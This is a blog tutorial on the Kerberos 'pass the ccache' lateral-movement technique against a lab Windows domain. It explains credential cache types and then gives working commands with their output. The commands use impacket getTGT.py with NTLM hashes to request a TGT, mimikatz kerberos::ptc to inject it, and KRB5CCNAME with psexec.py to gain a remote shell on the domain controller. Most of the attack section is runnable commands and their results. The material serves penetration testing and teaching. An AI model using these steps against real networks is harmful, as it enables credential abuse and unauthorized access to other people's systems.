


Lateral Movement: Pass the Cache

 hackingarticles.in/lateral-movement-pass-the-ccache

Raj

May 25, 2020

In this post, we'll discuss how an attacker uses the ccache file to compromise kerberos authentication to access the application server without using a password. This attack is known as Pass the cacche (Ptc).

Table of Content

Credential Cache

Ccache Types

Walkthrough Pass the Ccache attack

- Method 1:Mimikatz
- Method 2: KRB5CCNAME

Credential Cache

A credential cache (or "ccache") contains the Kerberos credential although it remains valid and, typically, while the user's session lasts, so that multiple service authentication (e.g. connecting to a web or mail server more than once) does not involve contacting the KDC at every time.

A credential cache usually contains one initial ticket which is obtained using a password or another form of identity verification. If this ticket is a ticket-granting ticket, it can be used to obtain additional credentials without the password. Because the credential cache does not store the password, less long-term damage can be done to the user's account if the machine is compromised.

A credentials cache stores a default client principal name, set when the cache is created. This is the name shown at the top of the klist

Ccache Types

There are several kinds of credentials cache supported in the MIT Kerberos library. Not all are supported on every platform.

FILE caches: These are the simplest and most portable. A simple flat file format is used to store one credential after another. This is the default ccache type.

API: It is only implemented on Windows. It communicates with a server process that holds the credentials in memory for the user, rather than writing them to disk.

DIR points: To the storage location of the collection of the credential caches in FILE: format. It is most useful when dealing with multiple Kerberos realms and KDCs.

KEYRING: It is Linux-specific, and uses the kernel keyring support to store credential data in unswappable kernel memory where only the current user should be able to access it.

MEMORY caches: These are for storage of credentials that don't need to be made available outside of the current process. Memory ccaches are faster than file ccaches and are automatically destroyed when the process exits.

MSLSA: It is a Windows-specific cache type that accesses the Windows credential store.

Read More about MIT Kerberos Credential Cache from here:

https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html

Walkthrough Pass the Ccache attack

Pass the ccache attack uses ticket granting ticket to access the application server without go by kerberos Authentication, here we will try to store Kerb5_tgt in form of ccache and use or pass this ccache file to service application server.

Method 1:Mimikatz

So we have use impacket python script `gettgt.py` which will use a password, hash or aesKey, it will request a TGT and save it as ccache.

```
python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf38
ignite.local/Administrator
```

with the help of above command, you will be able to request Kerberos authorized ticket in the form of ccache whereas with the help of the following command you will be able to inject the ticket to access the resource.

```
root@kali:~/impacket/examples# python getTGT.py -dc-ip 192.168.1.105 -hashes :32196b56ffe6f45e294117b91a83bf38
ignite.local/Administrator
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in Administrator.ccache
```

Once you have the ccache, use mimikatz to pass the ccache file and try to access the resource, thus you need to execute following commands:

```
privilege:debug
```

```
kerberos::ptc Administrator.ccache
misc::cmd
```

Note: Here we first generated the ccache and then used mimikatz, but you can also drag the ccache file from the memory using Klist-c, which will list all the ccache stored in the memory and then use mimikatz to access the resource.

```

mimikatz # privilege::debug ↩
Privilege '20' OK

mimikatz # kerberos::ptc Administrator.ccache ↩

Principal : (01) : Administrator ; @ IGNITE.LOCAL

Data 0
    Start/End/MaxRenew: 5/15/2020 9:29:53 AM ; 5/15/2020 7:29:53 PM ; 5/16/2020
    Service Name (01) : krbtgt ; IGNITE.LOCAL ; @ IGNITE.LOCAL
    Target Name (01) : krbtgt ; IGNITE.LOCAL ; @ IGNITE.LOCAL
    Client Name (01) : Administrator ; @ IGNITE.LOCAL
    Flags 50e10000 : name_canonicalize ; pre_authent ; initial ; renewable ;
    Session Key : 0x00000017 - rc4_hmac_nt
                  809043cc1401c39627d47ae2288e8bcf
    Ticket : 0x00000000 - null ; kvno = 2 [...]
    * Injecting ticket : OK

mimikatz # misc::cmd ↩
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF674F44320

```

And so a new command prompt will be triggered, which will be the CMD of the requested resource service. You can see how we access the resource without using the password or ticket.kirbi file to access the resource.

push \\ignite.local\c\$

```

C:\Users\yashika\Desktop>pushd \\ignite.local\c$ ↩

Z:\>dir
Volume in drive Z has no label.
Volume Serial Number is 1C84-81C0

Directory of Z:\

07/16/2016  06:23 AM    <DIR>          PerfLogs
04/15/2020  05:32 AM    <DIR>          Program Files
04/15/2020  05:30 AM    <DIR>          Program Files (x86)
05/14/2020  12:52 PM    <DIR>          Users
05/14/2020  12:53 PM    <DIR>          Windows
               0 File(s)                0 bytes
               5 Dir(s)  50,053,562,368 bytes free

Z:\>

```

Method 2: KRB5CCNAME

Similarly we have use getTGT to to generate the ccache and used KRB5CCNAME pass the ccahe file for the requested service. This is completely remote attack without using local system of compromised victim, but you need to compromise NTLM hashes for that, type following to conduct pass the ccache attack remotly.

```

python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03
ignite.local/yashika
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local

```

```
root@kali:~/impacket/examples# python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef15
1e03 ignite.local/yashika
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Saving ticket in yashika.ccache
root@kali:~/impacket/examples# export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip
192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local
Impacket v0.9.21.dev1+20200220.181330.03cbe6e8 - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 192.168.1.105.....
[*] Found writable share ADMIN$
[*] Uploading file jSkCSFLL.exe
[*] Opening SVCManager on 192.168.1.105.....
[*] Creating service foEE on 192.168.1.105.....
[*] Starting service foEE.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```